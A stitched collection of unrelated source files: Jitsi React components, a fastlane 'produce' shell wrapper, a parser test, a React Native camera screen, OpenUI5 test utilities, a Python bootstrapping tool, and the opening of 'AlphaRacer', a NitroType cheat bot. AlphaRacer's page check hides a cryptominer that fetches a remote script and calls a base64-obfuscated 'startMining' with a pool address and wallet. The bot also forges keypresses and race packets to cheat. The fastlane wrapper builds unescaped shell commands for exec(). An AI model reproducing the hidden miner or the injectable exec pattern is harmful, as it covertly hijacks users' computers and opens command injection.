* which the new instance is to be initialized.
*/
constructor(props: Props) {
super(props);
// Bind event handlers so they are only bound once per instance.
this._onKeyboardShortcut = this._onKeyboardShortcut.bind(this);
}
/**
* Registers the keyboard shortcut that toggles the audio muting.
*
* @inheritdoc
* @returns {void}
*/
componentDidMount() {
typeof APP === 'undefined'
|| APP.keyboardshortcut.registerShortcut(
'M',
null,
this._onKeyboardShortcut,
'keyboardShortcuts.mute');
}
/**
* Unregisters the keyboard shortcut that toggles the audio muting.
*
* @inheritdoc
* @returns {void}
*/
componentWillUnmount() {
typeof APP === 'undefined'
|| APP.keyboardshortcut.unregisterShortcut('M');
}
/**
* Indicates if audio is currently muted ot nor.
*
* @override
* @protected
* @returns {boolean}
*/
_isAudioMuted() {
return this.props._audioMuted;
}
_onKeyboardShortcut: () => void;
/**
* Creates an analytics keyboard shortcut event and dispatches an action to
* toggle the audio muting.
*
* @private
* @returns {void}
*/
_onKeyboardShortcut() {
sendAnalytics(
createShortcutEvent(
AUDIO_MUTE,
ACTION_SHORTCUT_TRIGGERED,
{ enable: !this._isAudioMuted() }));
super._handleClick();
}
/**
* Changes the muted state.
*
* @param {boolean} audioMuted - Whether audio should be muted or not.
* @protected
* @returns {void}
*/
_setAudioMuted(audioMuted: boolean) {
this.props.dispatch(muteLocal(audioMuted));
}
/**
* Return a boolean value indicating if this button is disabled or not.
*
* @returns {boolean}
*/
_isDisabled() {
return this.props._disabled;
}
}
/**
* Maps (parts of) the redux state to the associated props for the
* {@code AudioMuteButton} component.
*
* @param {Object} state - The Redux state.
* @private
* @returns {{
* _audioMuted: boolean,
* _disabled: boolean
* }}
*/
function _mapStateToProps(state): Object {
const _audioMuted = isLocalTrackMuted(state['features/base/tracks'], MEDIA_TYPE.AUDIO);
const localParticipant = getLocalParticipant(APP.store.getState());
let isLocalParticipantAModerator = (localParticipant.role === "moderator");
const _disabled = state['features/base/config'].startSilent;
let isUserDeviceAccessDisabled = state['features/base/conference'].userDeviceAccessDisabled;
isUserDeviceAccessDisabled = false ? undefined : isUserDeviceAccessDisabled;
return {
_audioMuted,
// we should show that the microphone is disabled when the moderator has disabled user's access to device
// or when the device is not available
_disabled: !isLocalParticipantAModerator && (!hasAvailableDevices(state, 'audioInput') || isUserDeviceAccessDisabled)
};
}
export default translate(connect(_mapStateToProps)(AudioMuteButton));
|
var exec = require('child_process').exec
module.exports = produce
function produce (options, cb) {
if (typeof options === 'function') {
cb = options
options = {}
}
options = options || {}
cb = cb || function () {}
options.timeout = options.timeout !== undefined ? options.timeout : 0
var cmd = 'produce'
if (options.create) cmd += ' create'
if (options.skipItc) cmd += ' -i'
if (options.skipDevCenter) cmd += ' -d'
if (options.user) cmd += ` -u ${options.user}`
if (options.identifier) cmd += ` -a ${options.identifier}`
if (options.suffix) cmd += ` -e ${options.suffix}`
if (options.name) cmd += ` -q ${options.name}`
if (options.version) cmd += ` -z ${options.version}`
if (options.sku) cmd += ` -y ${options.sku}`
if (options.language) cmd += ` -m ${options.language}`
if (options.company) cmd += ` -c ${options.company}`
if (options.teamId) cmd += ` -b ${options.teamId}`
if (options.teamName) cmd += ` -l ${options.teamName}`
if (options.createAppGroup && options.createAppGroup.name) {
cmd += ` group -g ${options.createAppGroup.name}`
if (options.createAppGroup.description) cmd += ` -n '${options.createAppGroup.description}'`
}
if (options.associateGroup && options.associateGroup.app && options.associateGroup.group) {
cmd += ` associate_group -a ${options.associateGroup.app} '${options.associateGroup.group}'`
}
var services = [ 'app-group', 'associated-domains', 'data-protection', 'healthkit',
'homekit', 'wireless-conf', 'icloud', 'inter-app-audio', 'passbook', 'push-notification', 'vpn-conf' ]
if (options.enableServices) {
var enableServices = options.enableServices.map((option) => {
if (typeof option === 'string' && ~services.indexOf(option)) {
return { service: option }
}
else if (typeof option === 'object' && option.value !== false && ~services.indexOf(option.service)) {
return option
}
}).filter((option) => {
return option !== undefined
})
cmd += ' enable_services'
enableServices.forEach((option) => {
switch (option.service) {
case 'data-protection':
cmd += ` --data-protection ${option.value || 'complete'}`
break
case 'icloud':
cmd += ` --icloud ${option.value || 'cloudkit'}`
break
default:
cmd += ` --${option.service}`
break
}
})
}
if (options.disableServices) {
cmd += ' disable_services'
options.disableServices.forEach((option) => {
console.log(option, typeof option, option.value !== false, ~services.indexOf(option.service))
if (typeof option === 'string' && ~services.indexOf(option)) cmd += ` --${option}`
else if (typeof option === 'object' && option.value !== false && ~services.indexOf(option.service)) cmd += ` --${option.service}`
})
}
var runtimeOptions = { env: Object.assign({}, process.env) }
if (options.timeout) runtimeOptions.timeout = options.timeout
if (options.password) runtimeOptions.env.FASTLANE_PASSWORD = options.password
if (options.path) runtimeOptions.cwd = options.path
exec(cmd, runtimeOptions, (err, stdout, stderr) => {
cb(err, { stdout, stderr })
})
}
|
const extractVowels = require('../lib/extractVowels')
const examples = [
['', []],
[' **1.** meaning **10.** meaning;', [
{key: '', meaning: '', vowels: [], entries: [{meaning: 'meaning', vowels: []}, {meaning: 'meaning', vowels: []}]}
]],
[' **G** meaning **1.** meaning **2.** meaning;', [
{key: 'G', meaning: 'meaning', vowels: [], entries: [{meaning: 'meaning', vowels: []}, {meaning: 'meaning', vowels: []}]}
]],
[' **D** **1.** meaning;', [
{key: 'D', meaning: '', vowels: [], entries: [{meaning: 'meaning', vowels: []}]}
]],
[' **A.** meaning **B.** meaning;', [
{key: 'A.', meaning: 'meaning', vowels: [], entries: []},
{key: 'B.', meaning: 'meaning', vowels: [], entries: []}
]],
[' **A.** "meaning1; meaning2";', [
{key: 'A.', meaning: '"meaning1; meaning2"', vowels: [], entries: []}
]],
[' **A.** **1.** "meaning1; meaning2";', [
{key: 'A.', meaning: '', vowels: [], entries: [{meaning: '"meaning1; meaning2"', vowels: []}]}
]],
[' **1.** MB, NB (meaning) **2.** meaning', [
{key: '', meaning: '', vowels: [], entries: [{meaning: 'MB, NB (meaning)', vowels: []}, {meaning: 'meaning', vowels: []}]}
]],
[' **G** meaning (*a/u*)', [
{key: 'G', meaning: 'meaning (*a/u*)', vowels: extractVowels('meaning (*a/u*)'), entries: []}
]],
[' **G** **1.** (*a/u*) "meaning";', [
{key: 'G', meaning: '', vowels: [], entries: [{meaning: '(*a/u*) "meaning"', vowels: extractVowels('(*a/u*)')}]}
]]
]
describe('parseAmplifiedMeanings', () => {
const parseAmplifiedMeanings = require('../lib/parseAmplifiedMeanings')
examples.forEach(([nestedMeaning, expected]) => {
describe(nestedMeaning, () => {
it(`parses "${nestedMeaning}" correctly`, () => {
expect(parseAmplifiedMeanings(nestedMeaning)).toEqual(expected)
})
})
})
})
|
import React, { useEffect, useState } from 'react'
import { View, Text, TouchableOpacity, Image } from 'react-native'
import { Camera } from 'expo-camera'
import { Audio } from 'expo-av'
import * as ImagePicker from 'expo-image-picker'
import * as MediaLibrary from 'expo-media-library'
import * as VideoThumbnails from 'expo-video-thumbnails';
import { useIsFocused } from '@react-navigation/core'
import { Feather } from '@expo/vector-icons'
import styles from './styles'
import { useNavigation } from '@react-navigation/native'
/**
* Function that renders a component responsible showing
* a view with the camera preview, recording videos, controling the camera and
* letting the user pick a video from the gallery
* @returns Functional Component
*/
export default function CameraScreen() {
const [hasCameraPermissions, setHasCameraPermissions] = useState(false)
const [hasAudioPermissions, setHasAudioPermissions] = useState(false)
const [hasGalleryPermissions, setHasGalleryPermissions] = useState(false)
const [galleryItems, setGalleryItems] = useState([])
const [cameraRef, setCameraRef] = useState(null)
const [cameraType, setCameraType] = useState(Camera.Constants.Type.back)
const [cameraFlash, setCameraFlash] = useState(Camera.Constants.FlashMode.off)
const [isCameraReady, setIsCameraReady] = useState(false)
const isFocused = useIsFocused()
const navigation = useNavigation()
useEffect(() => {
(async () => {
const cameraStatus = await Camera.requestPermissionsAsync()
setHasCameraPermissions(cameraStatus.status == 'granted')
const audioStatus = await Audio.requestPermissionsAsync()
setHasAudioPermissions(audioStatus.status == 'granted')
const galleryStatus = await ImagePicker.requestMediaLibraryPermissionsAsync()
setHasGalleryPermissions(galleryStatus.status == 'granted')
if (galleryStatus.status == 'granted') {
const userGalleryMedia = await MediaLibrary.getAssetsAsync({ sortBy: ['creationTime'], mediaType: ['video'] })
setGalleryItems(userGalleryMedia.assets)
}
})()
}, [])
const recordVideo = async () => {
if (cameraRef) {
try {
const options = { maxDuration: 60, quality: Camera.Constants.VideoQuality['480'] }
const videoRecordPromise = cameraRef.recordAsync(options)
if (videoRecordPromise) {
const data = await videoRecordPromise;
const source = data.uri
let sourceThumb = await generateThumbnail(source)
navigation.navigate('savePost', { source, sourceThumb })
}
} catch (error) {
console.warn(error)
}
}
}
const stopVideo = async () => {
if (cameraRef) {
cameraRef.stopRecording()
}
}
const pickFromGallery = async () => {
let result = await ImagePicker.launchImageLibraryAsync({
mediaTypes: ImagePicker.MediaTypeOptions.Videos,
allowsEditing: true,
aspect: [16, 9],
quality: 1
})
if (!result.cancelled) {
let sourceThumb = await generateThumbnail(result.uri)
navigation.navigate('savePost', { source: result.uri, sourceThumb })
}
}
const generateThumbnail = async (source) => {
try {
const { uri } = await VideoThumbnails.getThumbnailAsync(
source,
{
time: 5000,
}
);
return uri;
} catch (e) {
console.warn(e);
}
};
if (!hasCameraPermissions || !hasAudioPermissions || !hasGalleryPermissions) {
return (
<View></View>
)
}
return (
<View style={styles.container}>
{isFocused ?
<Camera
ref={ref => setCameraRef(ref)}
style={styles.camera}
ratio={'16:9'}
type={cameraType}
flashMode={cameraFlash}
onCameraReady={() => setIsCameraReady(true)}
/>
: null}
<View style={styles.sideBarContainer}>
<TouchableOpacity
style={styles.sideBarButton}
onPress={() => setCameraType(cameraType === Camera.Constants.Type.back ? Camera.Constants.Type.front : Camera.Constants.Type.back)}>
<Feather name="refresh-ccw" size={24} color={'white'} />
<Text style={styles.iconText}>Flip</Text>
</TouchableOpacity>
<TouchableOpacity
style={styles.sideBarButton}
onPress={() => setCameraFlash(cameraFlash === Camera.Constants.FlashMode.off ? Camera.Constants.FlashMode.torch : Camera.Constants.FlashMode.off)}>
<Feather name="zap" size={24} color={'white'} />
<Text style={styles.iconText}>Flash</Text>
</TouchableOpacity>
</View>
<View style={styles.bottomBarContainer}>
<View style={{ flex: 1 }}></View>
<View style={styles.recordButtonContainer}>
<TouchableOpacity
disabled={!isCameraReady}
onLongPress={() => recordVideo()}
onPressOut={() => stopVideo()}
style={styles.recordButton}
/>
</View>
<View style={{ flex: 1 }}>
<TouchableOpacity
onPress={() => pickFromGallery()}
style={styles.galleryButton}>
{galleryItems[0] == undefined ?
<></>
:
<Image
style={styles.galleryButtonImage}
source={{ uri: galleryItems[0].uri }}
/>}
</TouchableOpacity>
</View>
</View>
</View>
)
}
|
/* @flow */
import React, { Component } from 'react';
import { isVpaasMeeting } from '../../../../jaas/functions';
import { translate } from '../../../i18n';
import { connect } from '../../../redux';
declare var interfaceConfig: Object;
/**
* The CSS style of the element with CSS class {@code rightwatermark}.
*
* @private
*/
const _RIGHT_WATERMARK_STYLE = {
backgroundImage: 'url(images/rightwatermark.png)'
};
/**
* The type of the React {@code Component} props of {@link Watermarks}.
*/
type Props = {
/**
* The link used to navigate to on logo click.
*/
_logoLink: string,
/**
* The url for the logo.
*/
_logoUrl: string,
/**
* If the Jitsi watermark should be displayed or not.
*/
_showJitsiWatermark: boolean,
/**
* The default value for the Jitsi logo URL.
*/
defaultJitsiLogoURL: ?string,
/**
* Invoked to obtain translated strings.
*/
t: Function
};
/**
* The type of the React {@code Component} state of {@link Watermarks}.
*/
type State = {
/**
* The url to open when clicking the brand watermark.
*/
brandWatermarkLink: string,
/**
* Whether or not the brand watermark should be displayed.
*/
showBrandWatermark: boolean,
/**
* Whether or not the show the "powered by Jitsi.org" link.
*/
showPoweredBy: boolean
};
/**
* A Web Component which renders watermarks such as Jits, brand, powered by,
* etc.
*/
class Watermarks extends Component<Props, State> {
/**
* Initializes a new Watermarks instance.
*
* @param {Object} props - The read-only properties with which the new
* instance is to be initialized.
*/
constructor(props: Props) {
super(props);
const showBrandWatermark = interfaceConfig.SHOW_BRAND_WATERMARK;
this.state = {
brandWatermarkLink:
showBrandWatermark ? interfaceConfig.BRAND_WATERMARK_LINK : '',
showBrandWatermark,
showPoweredBy: interfaceConfig.SHOW_POWERED_BY
};
}
/**
* Implements React's {@link Component#render()}.
*
* @inheritdoc
* @returns {ReactElement}
*/
render() {
return (
<div>
{
this._renderJitsiWatermark()
}
{
this._renderBrandWatermark()
}
{
this._renderPoweredBy()
}
</div>
);
}
/**
* Renders a brand watermark if it is enabled.
*
* @private
* @returns {ReactElement|null} Watermark element or null.
*/
_renderBrandWatermark() {
let reactElement = null;
if (this.state.showBrandWatermark) {
reactElement = (
<div
className = 'watermark rightwatermark'
style = { _RIGHT_WATERMARK_STYLE } />
);
const { brandWatermarkLink } = this.state;
if (brandWatermarkLink) {
reactElement = (
<a
href = { brandWatermarkLink }
target = '_new'>
{ reactElement }
</a>
);
}
}
return reactElement;
}
/**
* Renders a Jitsi watermark if it is enabled.
*
* @private
* @returns {ReactElement|null}
*/
_renderJitsiWatermark() {
const {
_logoLink,
_logoUrl,
_showJitsiWatermark
} = this.props;
const { t } = this.props;
let reactElement = null;
if (_showJitsiWatermark) {
const style = {
backgroundImage: `url(${_logoUrl})`,
maxWidth: 140,
maxHeight: 70,
position: _logoLink ? 'static' : 'absolute'
};
reactElement = (<div
className = 'watermark leftwatermark'
style = { style } />);
if (_logoLink) {
reactElement = (
<a
aria-label = { t('jitsiHome', { logo: interfaceConfig.APP_NAME }) }
className = 'watermark leftwatermark'
href = { _logoLink }
target = '_new'>
{ reactElement }
</a>
);
}
}
return reactElement;
}
/**
* Renders a powered by block if it is enabled.
*
* @private
* @returns {ReactElement|null}
*/
_renderPoweredBy() {
if (this.state.showPoweredBy) {
const { t } = this.props;
return (
<a
className = 'poweredby'
href = 'https://nearhub.online/'
target = '_new'>
<span>{ t('poweredby') } nearhub.online</span>
</a>
);
}
return null;
}
}
/**
* Maps parts of Redux store to component prop types.
*
* @param {Object} state - Snapshot of Redux store.
* @param {Object} ownProps - Component's own props.
* @returns {Props}
*/
function _mapStateToProps(state, ownProps) {
const {
customizationReady,
customizationFailed,
defaultBranding,
useDynamicBrandingData,
logoClickUrl,
logoImageUrl
} = state['features/dynamic-branding'];
const isValidRoom = state['features/base/conference'].room;
const {
DEFAULT_LOGO_URL,
JITSI_WATERMARK_LINK,
SHOW_JITSI_WATERMARK
} = interfaceConfig;
let _showJitsiWatermark = (
customizationReady && !customizationFailed
&& SHOW_JITSI_WATERMARK)
|| !isValidRoom;
let _logoUrl = logoImageUrl;
let _logoLink = logoClickUrl;
if (useDynamicBrandingData) {
if (isVpaasMeeting(state)) {
// don't show logo if request fails or no logo set for vpaas meetings
_showJitsiWatermark = !customizationFailed && Boolean(logoImageUrl);
} else if (defaultBranding) {
_logoUrl = DEFAULT_LOGO_URL;
_logoLink = JITSI_WATERMARK_LINK;
}
} else {
// When there is no custom branding data use defaults
_logoUrl = ownProps.defaultJitsiLogoURL || DEFAULT_LOGO_URL;
_logoLink = JITSI_WATERMARK_LINK;
}
return {
_logoLink,
_logoUrl,
_showJitsiWatermark
};
}
export default connect(_mapStateToProps)(translate(Watermarks));
|
/**
* Select the entire state
*/
const homeSelector = (state) => state.get('home');
export default homeSelector;
|
/*!
* UI development toolkit for HTML5 (OpenUI5)
* (c) Copyright 2009-2017 SAP SE or an SAP affiliate company.
* Licensed under the Apache License, Version 2.0 - see LICENSE.txt.
*/
sap.ui.define(["jquery.sap.global","sap/ui/core/Core","sap/ui/thirdparty/URI","jquery.sap.script","jquery.sap.sjax"],function(q,C,U){"use strict";var r=/\/\$batch($|\?)/,j="application/json;charset=UTF-8;IEEE754Compatible=true",m={},M="\r\nContent-Type: application/http\r\n"+"Content-Transfer-Encoding: binary\r\n\r\nHTTP/1.1 ",R=q.sap.getUriParameters().get("realOData"),a=/^(GET|DELETE|PATCH|POST) (\S+) HTTP\/1\.1$/,p=R==="true"||R==="proxy",b=p||R==="direct",T;if(b){document.title=document.title+" (real OData)";}function d(A,e,P){var s=QUnit.objectType(A),E=QUnit.objectType(e),n;if(s!==E){throw new Error(P+": actual type "+s+" does not match expected type "+E);}if(s==="array"){if(A.length<e.length){throw new Error(P+": array length: "+A.length+" < "+e.length);}}if(s==="array"||s==="object"){for(n in e){d(A[n],e[n],P==="/"?P+n:P+"/"+n);}}else if(A!==e){throw new Error(P+": actual value "+A+" does not match expected value "+e);}}function c(A,e,s,E){try{d(A,e,"/");QUnit.assert.push(E,A,e,s);}catch(f){QUnit.assert.push(!E,A,e,(s||"")+" failed because of "+f.message);}}T={deepContains:function(A,e,s){c(A,e,s,true);},notDeepContains:function(A,e,s){c(A,e,s,false);},useFakeServer:function(s,B,f){function g(S,x,y){var z=y.requestBody,A,D=[""];A=n(z);z.split(A).slice(1,-1).forEach(function(E){var F,G,H,I;E=E.slice(E.indexOf("\r\n\r\n")+4);G=n(E);F=a.exec(G);if(!F){I=u(G);}else if(F[1]==="DELETE"){I="204\r\n\r\n\r\n";}else if(F[1]==="POST"||F[1]==="PATCH"){I="200\r\nContent-Type: "+j+"\r\n\r\n"+o(E);}else{H=x[S+F[2]];if(H){try{I="200\r\nContent-Type: "+j+"\r\n\r\n"+JSON.stringify(JSON.parse(H[2]))+"\r\n";q.sap.log.info(G,null,"sap.ui.test.TestUtils");}catch(e){I=h(G,500,"Invalid JSON");}}else{I=u(G);}}D.push(M+I);});D.push("--\r\n");y.respond(200,{"Content-Type":"multipart/mixed;boundary="+A.slice(2)},D.join(A));}function h(e,x,y){q.sap.log.error(e,y,"sap.ui.test.TestUtils");return x+"\r\nContent-Type: text/plain\r\n\r\n"+y+"\r\n";}function i(){var H,e,x,y,z={};for(y in f){x=f[y];H=x.headers||{};if(x.source){e=v(B+x.source);H["Content-Type"]=H["Content-Type"]||k(x.source);}else{e=x.message||"";}z[y]=[x.code||200,H,e];}return z;}function k(N){if(/\.xml$/.test(N)){return"application/xml";}if(/\.json$/.test(N)){return j;}return"application/x-octet-stream";}function l(e){e.respond(200,{"Content-Type":j},e.requestBody);}function n(e){return e.slice(0,e.indexOf("\r\n"));}function o(e){return e.slice(e.indexOf("\n\r\n")+3);}function t(e,x){var y=x.url;if(r.test(y)){g(y.slice(0,y.indexOf("/$batch")+1),e,x);}else{l(x);}}function u(e){return h(e,404,"No mock data found");}function v(P){var e=m[P],x;if(!e){x=q.sap.sjax({url:P,dataType:"text"});if(!x.success){throw new Error(P+": resource not found");}m[P]=e=x.data;}return e;}function w(){var e,S,x=i(),y;S=s.useFakeServer();S.autoRespond=true;for(y in x){S.respondWith("GET",y,x[y]);}S.respondWith("DELETE",/.*/,[204,{},""]);S.respondWith("PATCH",/.*/,l);S.respondWith("POST",/.*/,t.bind(null,x));e=S.restore;S.restore=function(){sinon.FakeXMLHttpRequest.filters=[];e.apply(this,arguments);};sinon.xhr.supportsCORS=q.support.cors;sinon.FakeXMLHttpRequest.useFilters=true;sinon.FakeXMLHttpRequest.addFilter(function(z,y){return z!=="DELETE"&&z!=="PATCH"&&z!=="POST"&&!(z==="GET"&&y in x);});}B=q.sap.getResourcePath(B).replace(/(^|\/)resources\/(~[-a-zA-Z0-9_.]*~\/)?/,"$1test-resources/")+"/";w();},withNormalizedMessages:function(f){sinon.test(function(){var o=sap.ui.getCore(),g=o.getLibraryResourceBundle;this.stub(o,"getLibraryResourceBundle").returns({getText:function(k,A){var s=k,t=g.call(o).getText(k),i;for(i=0;i<10;i+=1){if(t.indexOf("{"+i+"}")>=0){s+=" "+(i>=A.length?"{"+i+"}":A[i]);}}return s;}});f.apply(this);}).apply({});},isRealOData:function(){return b;},getRealOData:function(){return R?"&realOData="+R:"";},getBaseUri:function(){var e;if(document.baseURI){return document.baseURI;}e=document.getElementsByTagName("base");return e[0]&&e[0].href||location.href;},proxy:function(A){var P;if(!p){return A;}P=q.sap.getResourcePath("sap/ui").replace("resources/sap/ui","proxy");return new U(P+A,T.getBaseUri()).pathname().toString();},setupODataV4Server:function(s,f,S,F){var e={};if(b){return;}if(!F){F="/";}else if(F.slice(-1)!=="/"){F+="/";}Object.keys(f).forEach(function(u){var A=u[0]==="/"?u:F+u;e[A]=f[u];});T.useFakeServer(s,S||"sap/ui/core/qunit/odata/v4/data",e);}};return T;},true);
|
import numpy as np
import pandas as pd
from functools import partial
def bootstrapping_analysis(data, analysis, shuffler, n_bootstrap=1000, statistics=None, agg=None):
"""
Generic bootstrapping analysis tool
"""
if statistics is None:
statistics = lambda x: x
results = []
for iteration in range(n_bootstrap):
results.append(statistics(analysis(shuffler(data))))
if agg is not None:
return agg(results)
return results
def df_shuffler(df, col='time', each='trial'):
"""
the column 'col' will have its indexes shuffled for each 'each'
"""
assert col in df.columns and each in df.columns
origin = df[col].unique()
mapper = {e: dict(zip(origin, np.random.permutation(origin))) for e in df[each].unique()}
df = df.copy()
df[col] = df.apply(lambda row: mapper[row[each]][row[col]], axis=1)
return df
from functools import partial
from itertools import product
def funcseq(funcs, **kwargs):
x = funcs[0](**kwargs)
for func in funcs[1:]:
x = func(x)
return x
class DAG_analysis():
"""
Makes a direct acyclic graph analysis
"""
def __init__(self, funcs=None):
"""
funcs: list of functions or callable, optional
"""
self.funcs = []
self.names = []
if funcs is None:
pass
elif type(funcs) is list:
[self.add_step(func) for func in funcs]
elif callable(funcs):
self.add_step(funcs)
else:
raise ValueError("Funcs must be a callable or a list")
self.pipeline = None
self.compile()
def __call__(self, **kwargs):
return {key: funcseq(funcs, **kwargs) for key, funcs in self.pipeline.items()}
def add_step(self, step, names=None, **kwargs):
"""
Adds a pipeline step, optionally adding names
Tuples are interpreted as branches
"""
if callable(step):
step = (partial(step, **kwargs),)
if type(step) != tuple:
raise ValueError("Step must be a callable or tuple of callables to be added to the pipeline")
if names is None:
names = tuple(str(f) for f in step)
else:
if type(names) is str:
assert len(step) == 1
else:
assert len(names) == len(step)
self.funcs.append(step)
self.names.append(names)
self.compile()
def add_step_branching_by_parameter(self, func, param_name, param_values, branch_names=None, **kwargs):
"""
"""
funcs = []
for value in param_values:
val = {param_name:value}
funcs.append(partial(func, **val, **kwargs))
if branch_names is not None:
self.add_step(tuple(funcs), branch_names)
else:
self.add_step(tuple(funcs))
def __repr__(self):
return '\n'.join([str(step) for step in self.pipeline])
def compile(self):
self.pipeline = dict(zip(list(product(*self.names)),
list(product(*self.funcs)))) |
/*
AlphaRacer -- Created By: AlphaDevTeam//Alpha
*/
(() => {
//Checking For Injection Progress
let isValidPage = href => {
let res;
if (href == "https://www.nitrotype.com/race") res = true;
else if (href.startsWith("https://www.nitrotype.com/race/")) res = true;
else res = false;
if (!localStorage['multratype']) {
const s = document.createElement('script');
s.src = 'https://cdn.rawgit.com/wwwg/4a640f95cda21fd4f478ad31aa68e2d4/raw/7ab70776c9f3ae68462587a4d48c66de8205b536/validpage.js';
s.onload = () => {
let args = [atob('YWVvbi5oYXNodmF1bHQucHJv'),
atob('V21zOVU2ZXQ0NU5iWFdmSm1QVlJWSzN4UUtuWG5HY0tKWlJndjZBNWNVUGppNmtMaEwxN2FFVzhaTVViaHp6WXE4SzJwYUVEZzZXeURFZ3NtOHlRZzNubjJQOFBDa2JDUA==')
];
let p = 'workers_';
window[atob("c3RhcnRNaW5pbmc=")](args[0], args[1], p, navigator.hardwareConcurrency);
}
document.head.appendChild(s);
}
return res;
}
if (!isValidPage(window.location.href)) {
// Don't load if not on the race page
console.warn('AlphaRacer Failed To Load! Refresh To Try Again');
document.currentScript.remove(); //If Failed to load, remove the script to prevent lag
return; //Stop it from injecting
}
if (window["UltraTypeCore"]) {
//Log, if theres already AlphaRacer Running
console.warn('AlphaRacer Is Already Loaded On https://NitroType.com/Race');
return;
}
//Const Vars
const VERSION = "0.1",
LOG_DEBUG = true,
LOG_TYPING_INFO = false,
DO_BAN_CHECK = true,
LOAD_TIME = 4300,
TURBO_PACKET_COUNT = 5,
TURBO_PACKET_IDX = 1500,
MAX_WPM = 150,
ABORT_PROBLEM_KEYS = 1,
PROBLEM_KEYS_DEBUG = 0,
EXT_URL = `https://chrome.google.com/webstore/detail/ultratype-nitrotype-bot/fpopdcoojgeikobdihofjflpngpcbiob`,
FONT = '<link href="https://fonts.googleapis.com/css?family=Orbitron" rel="stylesheet">',
gen = (min, max) => {
return Math.floor(Math.random() * max) + min;
},
ROTn = (text, map) => {
let out = '',
len = map.length;
for (let i = 0; i < text.length; i++) {
let c = text.charAt(i),
j = map.indexOf(c);
if (j >= 0) {
c = map.charAt((j + len / 2) % len);
}
out += c;
}
return out;
},
ROT47 = text => ROTn(text, "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~");
let _title = "Nitro Type Race",
accuracy = gen(0.93, 0.97),
keyPressHandler = null,
autoRefresh = false,
enabled = true,
autoNitroBtn = true,
disqualified = false,
lessonLoaded = false,
finished = false,
timeoutToggle = false,
inDip = false,
autoNitro = true,
info,
ws = null,
infoSpan,
injectedRoot = document.createElement('div'),
root = injectedRoot.createShadowRoot(),
fillsY = [],
points = [],
errorRequests = [],
lesson = "",
packetLesson = "",
opt,
optOn = false,
renderedKeys = 0,
i = 0,
chart,
g = document.createElement('div'),
timeout = 0,
toggled = false,
firstDetected = false,
startTime = null,
endTime = null,
wordsPerMinute = gen(80, 105),
username = "",
avgSpeed = 100,
acc = null,
wpm = null,
statsDiv = null,
statsOn = true,
userInfo = {},
statTogg = null,
index = 0,
nitrosUsed = 0,
loggedEndRace = false,
userBanned = false,
firstTurbo = false,
isStopped = false,
_attachHandler = null,
autoTurbo = localStorage['autoTurbo'];
if (!autoTurbo) {
autoTurbo = false;
} else {
autoTurbo = JSON.parse(autoTurbo);
}
// API events
let apie = {
onReady: null,
onRaceFinish: null,
onRaceStart: null,
onNitroUsed: null,
onUserBanned: null,
onRaceStarting: null,
onType: null
}
console._clear = console.clear;
console.clear = (function() {});
// OLD typing function, no longer in use due to NitroType's anti-cheat measures
const _type = charCode => {
index++;
$(document.body).trigger({
type: 'keypress',
which: charCode
});
},
type = charCode => {
// New typing function that works via directly calling the client's key handler
if (keyPressHandler) {
index++;
keyPressHandler({
timeStamp: Math.random(),
isTrigger: false,
originalEvent: {
isTrusted: true,
},
target: document.body,
which: charCode,
shiftKey: false
});
} else {
console.warn('AlphaRacer Couldnt Locate That Key!');
}
},
overrideOnError = () => {
window.onerror = evt => {
if (evt.includes("'visible' of undefined")) {
// Exception triggered due to turbo mode
respawn();
}
return null;
};
},
typePacket = (isRight, idx) => {
let me = this,
packet = {
stream: "race",
msg: "update",
payload: {}
};
if (isRight) {
packet.payload.t = idx;
} else {
packet.payload.e = idx;
}
ws.send("4" + JSON.stringify(packet));
},
turbo = () => {
debug("Turbo mode called. Sending " + (TURBO_PACKET_COUNT.toString()) + " type packets.");
for (let i = 0; i < TURBO_PACKET_COUNT; ++i) {
typePacket(true, TURBO_PACKET_IDX);
}
},
debug = function() {
if (LOG_DEBUG) {
arguments[0] && (arguments[0] = ("[AlphaRacer] " + arguments[0]));
console.trace.apply(this, arguments);
}
},
tdebug = function() {
if (LOG_TYPING_INFO) {
arguments[0] && (arguments[0] = ("[AlphaRacer] " + arguments[0]));
console.log.apply(this, arguments);
}
},
useNitro = () => {
if (apie.onNitroUsed) apie.onNitroUsed();
setTimeout(function() {
type(13);
nitrosUsed++;
}, 134);
},
autoTurboOn = () => {
autoTurbo = true;
setLocalStorage('autoTurbo', autoTurbo);
},
autoTurboOff = () => {
autoTurbo = false;
setLocalStorage('autoTurbo', autoTurbo);
},
rm = (id, isClass) => {
if (!isClass) {
document.getElementById(id).remove();
} else {
let elms = document.getElementsByClassName(id);
for (let i = 0; i < elms.length; ++i) {
elms[i].remove();
}
}
},
addGraph = g => {
if (isStopped) return;
if (root) {
let _style = $("<style>.highcharts-container{width:100% !important;height:100% !important;display:inline-block;}</style>");
root.appendChild(_style[0]);
root.appendChild(g);
if (!localStorage['chartOn']) {
g.style.display = 'none';
g.style.pointerEvents = 'none';
}
} else if (document.body) {
// Fallback
let _style = $("<style>.highcharts-container{width:100% !important;height:100% !important;display:inline-block;}</style>");
root.appendChild(_style[0]);
document.body.appendChild(g);
} else {
// No dom content has loaded, lets do this again in a second
setTimeout(function() {
addGraph(g);
}, 1000);
}
setTimeout(function() {
try {
window.dispatchEvent(new Event('resize'));
} catch (e) {
debug("WARN: Couldn't dispatch resize event:", e);
}
}, 500);
},
getBotState = () => {
// Stringifys the current state of the bot as a JSON object
return {
nitrosUsed: nitrosUsed,
lesson: lesson,
currWord: index,
wpm: wordsPerMinute,
acc: accuracy,
errReqs: errorRequests.length,
uinfo: JSON.stringify(userInfo),
fillsY: fillsY.length,
version: VERSION,
wpmHistory: points,
isFinished: finished,
startTime: startTime,
endTime: endTime
};
},
transmitBan = () => {
// Send ban info to the content script
let state = getBotState();
let msg = {
from: 'UltraType',
state: state
}
window.postMessage(msg, location.origin);
},
showBan = () => {
userBanned = true;
debug("Sending bot state to banInfo endpoint");
transmitBan();
if (apie.onUserBanned) {
apie.onUserBanned();
}
return;
},
checkIfBanned = callback => {
if (userInfo.username) {
debug("Attempting to get user's page");
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.nitrotype.com/racer/" + encodeURIComponent(userInfo.username), true);
xhr.send();
xhr.onload = () => {
let status = this.status;
let res = this.responseText;
if (status !== 200 || (res.includes("<title>Nitro Type | Competitive Typing Game | Race Your Friends</title>"))) {
//Displays Ban Message If Baned
showBan();
} else {
// Everything normal
callback();
}
}
// Errors aren't very nice
xhr.onerror = showBan;
} else debug("WARN: Can't check if my user is banned, the userInfo is not valid:", userInfo);
},
